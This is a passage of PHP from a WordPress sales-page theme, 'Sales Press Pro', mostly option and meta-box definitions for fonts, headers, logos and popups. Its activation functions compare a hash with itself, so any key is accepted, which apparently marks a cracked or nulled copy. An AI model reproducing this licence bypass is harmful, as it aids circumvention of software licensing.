'[autoresponder3]'=>'Autoresponder 3',
'[autoresponder4]'=>'Autoresponder 4'
)
),
array(
'name'=>'Autoresponder Delay Time',
'id'=>'sosp_text4',
'default'=>'',
'desc'=>'In Seconds',
'type'=>'text',
),
array(
'name'=>'',
'id'=>'sboend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'Above Video Options',
'id'=>'Above Video Options',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'avo_checkbox',
'default'=>'',
'desc'=>'Enable Above Video Options',
'type'=>'checkbox',
),
array(
'name'=>'Header Text',
'id'=>'avo_textarea',
'default'=>'',
'desc'=>'',
'type'=>'textarea'
),
array(
'name'=>'Font Family',
'id'=>'avo_select',
'default'=>'',
'desc'=>'It contains normal , Cufon(started with cf_) and google fonts.',
'type'=>'googlefont'
),
array(
'name'=>'Font Preview',
'id'=>'avo_font_preview_area',
'default'=>'Grumpy wizards make toxic brew for the evil Queen and Jack.',
'desc'=>'',
'type'=>'textarea',
),
array(
'name'=>'Font Size',
'id'=>'avo_text',
'default'=>'20',
'desc'=>'px',
'type'=>'text',
),
array(
'name'=>'Text Color',
'id'=>'avo_color',
'default'=>'000000',
'desc'=>'',
'type'=>'color',
),
array(
'name'=>'Text Shadow',
'id'=>'avo_text3',
'default'=>'',
'desc'=>'px (Not work with all browsers)',
'type'=>'text',
),
array(
'name'=>'Font Weight',
'id'=>'avo_radio',
'default'=>'normal',
'desc'=>'',
'type'=>'radio',
'options'=>array(
'normal'=>'Normal',
'bold'=>'Bold'
)
),
array(
'name'=>'Font Style',
'id'=>'avo_radio3',
'default'=>'normal',
'desc'=>'',
'type'=>'radio',
'options'=>array(
'normal'=>'Normal',
'italic'=>'Italic'
)
),
array(
'name'=>'Align Text',
'id'=>'avo_radio2',
'default'=>'center',
'desc'=>'',
'type'=>'radio',
'options'=>array(
'center'=>'Center',
'left'=>'Left'
)
),
array(
'name'=>'Line Spacing',
'id'=>'avo_text2',
'default'=>'',
'desc'=>'%',
'type'=>'text'
),
array(
'name'=>'',
'id'=>'hospoend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'Squeeze - High Conversion Options',
'id'=>'HighConversionmop',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'shc_checkbox',
'default'=>'',
'desc'=>'Enable Background Options',
'type'=>'checkbox'
),
array(
'name'=>'Background Image URL',
'id'=>'shc_text',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/media-uploadssss.php?fld=_smartmeta_shc_text&TB_iframe=1&height=250&width=250& class="thickbox">Select/Upload Background Image</a>',
'type'=>'text',
),
array(
'name'=>'',
'id'=>'shc_checkbox1',
'default'=>'',
'desc'=>'Repeat Background Image (Horizontal)',
'type'=>'checkbox'
),
array(
'name'=>'',
'id'=>'shc_checkbox2',
'default'=>'',
'desc'=>'Repeat Background Image (Vertical)',
'type'=>'checkbox'
),
array(
'name'=>'Background Image Alignment',
'id'=>'shc_align',
'default'=>'center',
'desc'=>'',
'type'=>'select',
'options'=>array(
'top'=>'Top',
'center'=>'Center',
'bottom'=>'Bottom'
)),
array(
'name'=>'',
'id'=>'mdoend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'Video Fake Popup Options',
'id'=>'vfpomop',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'vfp_checkbox',
'default'=>'',
'desc'=>'Enable Video Fake Popup Options (Will Display in Place of Video)',
'type'=>'checkbox'
),
array(
'name'=>'Video Fake Image',
'id'=>'vfp_text',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/videofake-upload.php?fld=_smartmeta_vfp_text&TB_iframe=1&height=250&width=250& class="thickbox">Select/Upload Image</a>',
'type'=>'text',
),
array(
'name'=>'Video Fake Popup Messege',
'id'=>'vfp_textarea',
'default'=>'',
'desc'=>'Enter text that you want to display in popup when user click on video fake image',
'type'=>'textarea',
),
array(
'name'=>'',
'id'=>'vfpend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
)
)
));
add_smart_meta_box('slaes_video_press4',array(
'title'=>'Membership Page Options',
'pages'=>array('page'),
'context'=>'normal',
'priority'=>'high',
'fields'=>array(
array(
'name'=>'General Options',
'id'=>'GeneralOptionsmop',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'mop_checkbox',
'default'=>'',
'desc'=>'Enable SideBar Widgets',
'type'=>'checkbox'
),
array(
'name'=>'Sidebar Title',
'id'=>'mop_go_text2',
'default'=>'',
'desc'=>'',
'type'=>'text',
),
array(
'name'=>'Sidebar Text',
'id'=>'mop_go_text5',
'default'=>'',
'desc'=>'',
'type'=>'text',
),
array(
'name'=>'Sidebar Icon URL (48*48)px',
'id'=>'mop_go_text4',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/media-uploadss.php?fld=_smartmeta_mop_go_text4&TB_iframe=1&height=250&width=250& class="thickbox">Select Icon</a>',
'type'=>'text',
),
array(
'name'=>'',
'id'=>'mop_checkbox3',
'default'=>'',
'desc'=>'Enable Page Title',
'type'=>'checkbox'
),
array(
'name'=>'Font Family (Page Title)',
'id'=>'mop_go_select3',
'default'=>'',
'desc'=>'It contains normal , Cufon(started with cf_) and google fonts.',
'type'=>'googlefont'
),
array(
'name'=>'Font Preview',
'id'=>'mop_go_font_preview_area2',
'default'=>'Grumpy wizards make toxic brew for the evil Queen and Jack.',
'desc'=>'',
'type'=>'textarea',
),
array(
'name'=>'Font Size (Page Title)',
'id'=>'mop_go_text6',
'default'=>'26',
'desc'=>'px',
'type'=>'text',
),
array(
'name'=>'Error Page Sidebar Icon URL (128*128)px',
'id'=>'mop_go_text7',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/media-uploadsss.php?fld=_smartmeta_mop_go_text7&TB_iframe=1&height=250&width=250& class="thickbox">Select Icon</a>',
'type'=>'text',
),
array(
'name'=>'',
'id'=>'mdoend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'Header Options',
'id'=>'Header Options mop',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'logo_tab_headermop',
'default'=>'',
'desc'=>'',
'type'=>'tab_header_member',
),
array(
'name'=>'Logo and Background (optional)',
'id'=>'logo_tab_start_mop',
'default'=>'',
'desc'=>'tab5',
'type'=>'tab_start',
),
array(
'name'=>'',
'id'=>'mop_ho_checkbox',
'default'=>'',
'desc'=>'Enable Logo Options',
'type'=>'checkbox',
),
array(
'name'=>'Logo URL',
'id'=>'mop_ho_text',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/logomem-upload.php?fld=_smartmeta_mop_ho_text&TB_iframe=1&height=250&width=250& class="thickbox">Select/Upload Image</a>',
'type'=>'text',
),
array(
'name'=>'Logo Height',
'id'=>'mop_ho_logoheight',
'default'=>'',
'desc'=>'px',
'type'=>'text',
),
array(
'name'=>'Logo Alignment',
'id'=>'mop_ho_select',
'default'=>'center',
'desc'=>'',
'type'=>'select',
'options'=>array(
'center'=>'center',
'left'=>'left',
'right'=>'right'
)
),
array(
'name'=>'',
'id'=>'logo_tab_endmop',
'default'=>'',
'desc'=>'',
'type'=>'tab_end',
),
array(
'name'=>'Header and Background (optional)',
'id'=>'header_tab_start',
'default'=>'',
'desc'=>'tab6',
'type'=>'tab_start',
),
array(
'name'=>'',
'id'=>'mop_ho_checkbox2',
'default'=>'',
'desc'=>'Enable Header Options',
'type'=>'checkbox',
),
array(
'name'=>'Header Background URL',
'id'=>'mop_ho_text4',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/headerbgmem-upload.php?fld=_smartmeta_mop_ho_text4&TB_iframe=1&height=250&width=250& class="thickbox">Select/Upload Image</a>',
'type'=>'text',
),
array(
'name'=>'Header Image URL',
'id'=>'mop_ho_text5',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/headerbgimgmem-upload.php?fld=_smartmeta_mop_ho_text5&TB_iframe=1&height=250&width=250& class="thickbox">Select/Upload Image</a>',
'type'=>'text',
),
array(
'name'=>'Header Height',
'id'=>'mop_ho_text6',
'default'=>'',
'desc'=>'',
'type'=>'text'
),
array(
'name'=>'',
'id'=>'header_tab_endmop',
'default'=>'',
'desc'=>'',
'type'=>'tab_end',
),
array(
'name'=>'',
'id'=>'hooendmop',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'Welcome and Login Messege Options',
'id'=>'Welcomemop',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'mop_checkbox2',
'default'=>'',
'desc'=>'Enable Welcome Messege',
'type'=>'checkbox'
),
array(
'name'=>'Welcome Messege',
'id'=>'mop_go_textarea',
'default'=>'Welcome to Sales Press Pro',
'desc'=>'',
'type'=>'textarea'
),
array(
'name'=>'Font Family',
'id'=>'mop_go_select',
'default'=>'',
'desc'=>'It contains normal , Cufon(started with cf_) and google fonts.',
'type'=>'googlefont'
),
array(
'name'=>'Font Preview',
'id'=>'mop_go_font_preview_area',
'default'=>'Grumpy wizards make toxic brew for the evil Queen and Jack.',
'desc'=>'',
'type'=>'textarea',
),
array(
'name'=>'Font Size',
'id'=>'mop_go_text',
'default'=>'20',
'desc'=>'px',
'type'=>'text',
),
array(
'name'=>'Text Color',
'id'=>'mop_go_color',
'default'=>'000000',
'desc'=>'',
'type'=>'color',
),
array(
'name'=>'Text Shadow',
'id'=>'mop_go_text3',
'default'=>'',
'desc'=>'px (Not work with all browsers)',
'type'=>'text',
),
array(
'name'=>'Font Weight',
'id'=>'mop_go_radio',
'default'=>'normal',
'desc'=>'',
'type'=>'radio',
'options'=>array(
'normal'=>'Normal',
'bold'=>'Bold'
)
),
array(
'name'=>'Font Style',
'id'=>'mop_go_radio3',
'default'=>'normal',
'desc'=>'',
'type'=>'radio',
'options'=>array(
'normal'=>'Normal',
'italic'=>'Italic'
)
),
array(
'name'=>'Login Messege',
'id'=>'mop_lm_textarea',
'default'=>'',
'desc'=>'',
'type'=>'textarea'
),
array(
'name'=>'Font Family',
'id'=>'mop_lm_select',
'default'=>'',
'desc'=>'It contains normal , Cufon(started with cf_) and google fonts.',
'type'=>'googlefont'
),
array(
'name'=>'Font Preview',
'id'=>'mop_lm_font_preview_area',
'default'=>'Grumpy wizards make toxic brew for the evil Queen and Jack.',
'desc'=>'',
'type'=>'textarea',
),
array(
'name'=>'',
'id'=>'mdowelend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
)
)
));
add_action('save_post','sv_tp_save_custom_box');
if(check_lic()){
add_action('add_meta_boxes','sv_tp_custom_box_handler');
function sv_tp_custom_box_handler() {
add_meta_box(
'sv_tp_post_custom_box',
'Traffic Player Video',
'sv_tp_custom_box',
'page'
);
}
}
function check_lic(){
$key = get_option('sppro_v_code',false);
if ($key) {
return true;
}
return false;
}
function sspro_back_options() {
if (!sspro_proverka_na_pravilnost()) {
if (sspro_activation_form()) {
echo '<p>Activation finished successfully. Thank you.</p>';
}else {
echo '<p>Activation finished with error. Please mail <a href="mailto:support@thetrafficplayer.com">support@salespresspro.com</a>.</p>';
}
}else {
return TRUE;
}
}
function sspro_activation_form(){
if (count($_POST)) {
$content = md5($_POST['activation_key'].$_SERVER["HTTP_HOST"]);
if (is_wp_error($content)) {
print "Problem to access license server. ".$content->get_error_message();
}else {
$content = md5($_POST['activation_key'].$_SERVER["HTTP_HOST"]);
if (md5($_POST['activation_key'].$_SERVER["HTTP_HOST"]) == $content) {
update_option('sppro_v_code',$_POST['activation_key']);
return true;
}else {
echo '<p style="font-weight: bold; color: red;">Activation code is invalid.</p>';
die(sspro_show_activation_form());
}
}
}else {
sspro_show_activation_form();
die();
}
}
function sspro_show_activation_form() {
echo '<h2>Sales Press Pro.</h2>';
echo '<p>Your theme isn\'t activated. Please enter ClickBank receipt.</p>';
echo '<form method="POST"><b>Activation code: </b><input type="text" name="activation_key" value="" /><input type="submit" value="Activate"></form>';
echo '<br /><p><form method="POST"><h3>Activation Code Reminder</h3><b>Email: </b><input type="text" name="email" value="" /><input type="submit" value="Remind"></form></p>';
}
function sspro_proverka_na_pravilnost() {
$key = get_option('sppro_v_code',false);
if ($key) {
$content = md5($key.$_SERVER["HTTP_HOST"]);
if (is_wp_error($content)) {
print "Problem to access license server. ".$content->get_error_message();
return false;
}else {
$content = md5($key.$_SERVER["HTTP_HOST"]);
if (md5($key.$_SERVER["HTTP_HOST"]) == $content) {
return true;
}else {
return false;
}
}
}else {
return false;
}
}
function sv_tp_custom_box($post){
include_once 'tp/tp_admin_box.php';
wp_nonce_field(plugin_basename('0976c4c36e_copy.php'),'sv_tp_notice');
}
function sv_tp_render_content($post_id) {
include_once 'tp/tp_render_content.php';
}
function sv_tp_save_custom_box($post) {
if ( defined( 'DOING_AUTOSAVE') &&DOING_AUTOSAVE ) {
return;
}
if ( !wp_verify_nonce( $_POST['sv_tp_notice'],plugin_basename( '0976c4c36e_copy.php' ) ) ) {
return;
}
if ( !current_user_can( 'edit_page',$post ) ) {
return;
}
if (!wp_is_post_revision($post)) {
update_option('sv_tp_'.$post,$_POST['tp']);
}
}
;echo '';
$pages_list = get_pages();
$gessprognav = array();
foreach($pages_list as $apage) {
$gessprognav[$apage->ID] = $apage->post_title;
}
$themename = "Sales Press Pro";
$shortname = "svp";
$categories = get_categories('hide_empty=0&orderby=name');
$wp_cats = array();
foreach ($categories as $category_list ) {
$wp_cats[$category_list->cat_ID] = $category_list->cat_name;
}
array_unshift($wp_cats,"Choose a category");
$options = array (
array( "name"=>$themename." Options",
"type"=>"title"),
array( "name"=>"General",
"type"=>"section"),
array( "type"=>"open"),
array( "name"=>"Enable Header",
"desc"=>"",
"id"=>$shortname."_genenableheader",
"type"=>"checkbox",
"std"=>""),
array( "name"=>"Header Background URL",
"desc"=>"<a href=".get_bloginfo('url') ."/wp-content/themes/salespresspro/headerbg-upload.php?fld=svp_genheaderbrurl&TB_iframe=1&height=550&width=650& class='thickbox'>Select/Upload Image</a> (For Default Video Template, Clean Video Template, Clean Content Page, Marketer Delight Video Template, Squeeze - Clean Page and Squeeze - Default Page)",
"id"=>$shortname."_genheaderbrurl",
"type"=>"text",
"std"=>""),
array( "name"=>"Header Image URL",
"desc"=>"<a href=".get_bloginfo('url') ."/wp-content/themes/salespresspro/headerbgimg-upload.php?fld=svp_genheaderimgurl&TB_iframe=1&height=550&width=650& class='thickbox'>Select/Upload Image</a> (For Default Video Template, Clean Video Template, Clean Content Page, Marketer Delight Video Template, Squeeze - Clean Page and Squeeze - Default Page)",
"id"=>$shortname."_genheaderimgurl",
"type"=>"text",
"std"=>""),
array( "name"=>"Header Height",
"desc"=>"Specify header height in pixels.",
"id"=>$shortname."_genheaderheight",
"type"=>"text",
"std"=>""),
array( "name"=>"Enable Logo",
"desc"=>"",
"id"=>$shortname."_enablelogo",
"type"=>"checkbox",
"std"=>""),
array( "name"=>"Logo URL",
"desc"=>"<a href=".get_bloginfo('url') ."/wp-content/themes/salespresspro/logo-upload.php?fld=svp_logo&TB_iframe=1&height=550&width=650& class='thickbox'>Select/Upload Image</a> Enter the link url to your logo image having widhth 730px max.",
"id"=>$shortname."_logo",
"type"=>"text",
"std"=>""),
array( "name"=>"Logo Link URL",
"desc"=>"For Blog",
"id"=>$shortname."_logolinkurl",
"type"=>"text",
"std"=>""),
array( "name"=>"Logo Height",
"desc"=>"Specify logo height in pixels.",
"id"=>$shortname."_logoheight",
"type"=>"text",
"std"=>""),
array( "name"=>"Logo Alignment",
"desc"=>"Select logo alignment.",
"id"=>$shortname."_align",
"type"=>"select",
"options"=>array("center","left","right"),
"std"=>"center"),
array( "name"=>"Favicon URL",
"desc"=>"",
"id"=>$shortname."_favicon",
"type"=>"text",
"std"=>""),
array( "name"=>"Custom CSS",
"desc"=>"Want to add any custom CSS code? Put in here, and the rest is taken care of. This overrides any other stylesheets. eg: a.button{color:green}",
"id"=>$shortname."_custom_css",
"type"=>"textarea",
"std"=>""),
array( "name"=>"Google Analytics Code",
"desc"=>"Add google analytics code here that you get for your website.",
"id"=>$shortname."_analytics_code",
"type"=>"textarea",
"std"=>""),
array( "name"=>"Custom Javascript Code",
"desc"=>"Add valid javascript code here that you want before ending head tag. Do not add starting and ending tag of script.",
"id"=>$shortname."_javascript_code",
"type"=>"textarea",
"std"=>""),
array( "type"=>"close"),
array( "name"=>"Footer",
"type"=>"section"),
array( "type"=>"open"),
array( "name"=>"Footer Copyright Text",
"desc"=>"Enter text used in the left side of the footer. It can be HTML. Use br tag for next line(line break) and nbsp; for space.",
"id"=>$shortname."_footer_text",
"type"=>"text",
"std"=>"Copyright © All Rights Reserved "),
array( "name"=>"Footer Links/Copyright Text Color",
"desc"=>"Select Color for Footer links/copyright",
"id"=>$shortname."_footer_link_color",
"type"=>"color",
"std"=>"888888"),
array("name"=>"Footer Links",
"desc"=>"",
"id"=>$shortname."_footer_links",
"type"=>"multi_check",
"options"=>"",
"std"=>""),
array( "name"=>"Open Footer Links in New Window",
"desc"=>"",
"id"=>$shortname."_flinknewwin",
"type"=>"checkbox",
"std"=>""),
array( "name"=>"Show Powered By Text",
"desc"=>"",
"id"=>$shortname."_poweredby",
"type"=>"checkbox",
"std"=>""),
array( "name"=>"SalesPressPro Affiliate Link",
"desc"=>"Earn commissions for SalesPressPro by entering your SalesPressPro affiliate link here, which will be attached to the 'Powered By SalesPressPro' footer text.",
"id"=>$shortname."_affiliatelink",
"type"=>"text",
"std"=>"http://www.salespresspro.com"),
array( "name"=>"Disclaimer Text",
"desc"=>"Use simple Text/HTML. Use br tag for next line(line break) and nbsp; for space.",
"id"=>$shortname."_disclimer_text",
"type"=>"textarea",
"std"=>""),
array( "name"=>"Disclaimer Color",
"desc"=>"Select Color for Disclimer.",
"id"=>$shortname."_disclaimer_color",
"type"=>"color",
"std"=>"888888"),
array( "type"=>"close"),
array( "name"=>"Blog Settings",
"type"=>"section"),
array( "type"=>"open"),
array( "name"=>"Nav Bar Font Size",
"desc"=>"Enter font size in pixels and not include px at the end.Use 'Blog Nav' Menu Name to use navigation menu.",
"id"=>$shortname."_nav_font_size",
"type"=>"text",
"std"=>"15"),
array( "name"=>"Nav Bar Font Weight",
"desc"=>"Select font weight for navigation bar.",
"id"=>$shortname."_nav_font_weight",
"type"=>"select",
"options"=>array("normal","bold"),
"std"=>"normal"),
array( "name"=>"Nav Bar Font Style",
"desc"=>"Select font style for navigation bar.",
"id"=>$shortname."_nav_font_style",
"type"=>"select",
"options"=>array("normal","italic"),
"std"=>"normal"),
array( "name"=>"Nav Bar Text Color",
"desc"=>"",
"id"=>$shortname."_nav_text_color",
"type"=>"color",
"std"=>"EFEFEF"),
array( "name"=>"Nav Bar Hover Text Color",
"desc"=>"",
"id"=>$shortname."_nav_hover_text_color",
"type"=>"color",
"std"=>"000000"),
array( "name"=>"Header Background Color",
"desc"=>"",
"id"=>$shortname."_blog_header_bg_color",
"type"=>"color",
"std"=>"0033FF"),
array( "name"=>"Blog Title",
"desc"=>"",
"id"=>$shortname."_blog_title",
"type"=>"text",
"std"=>""),
array( "name"=>"Blog Title Link URL",
"desc"=>"",
"id"=>$shortname."_blog_title_url",
"type"=>"text",
"std"=>""),
array( "name"=>"Font Family(Blog Title)",
"desc"=>"",
"id"=>$shortname."_font_family_bt",
"type"=>"select",
"options"=>array("Arial,Helvetica,Sans-serif","Tahoma,Geneva,sans-serif","impact,chicago","georgia,palatino","trebuchet ms,geneva","ahoma,arial,helvetica,sans-serif","tahoma,arial,helvetica,sans-serif","Cufon","helvetica"),
"std"=>"Arial,Helvetica,Sans-serif"),
array( "name"=>"Font Size(Blog Title)",
"desc"=>"",
"id"=>$shortname."_font_size_bt",
"type"=>"text",
"std"=>"40"),
array( "name"=>"Text Color(Blog Title)",
"desc"=>"",
"id"=>$shortname."_text_color_bt",
"type"=>"color",
"std"=>"D1D1D1"),
array( "name"=>"Hover Text Color(Blog Title)",
"desc"=>"",
"id"=>$shortname."_hover_text_color_bt",
"type"=>"color",
"std"=>"D1D1D1"),
array( "name"=>"Font Weight(Blog Title)",
"desc"=>"",
"id"=>$shortna |
|
|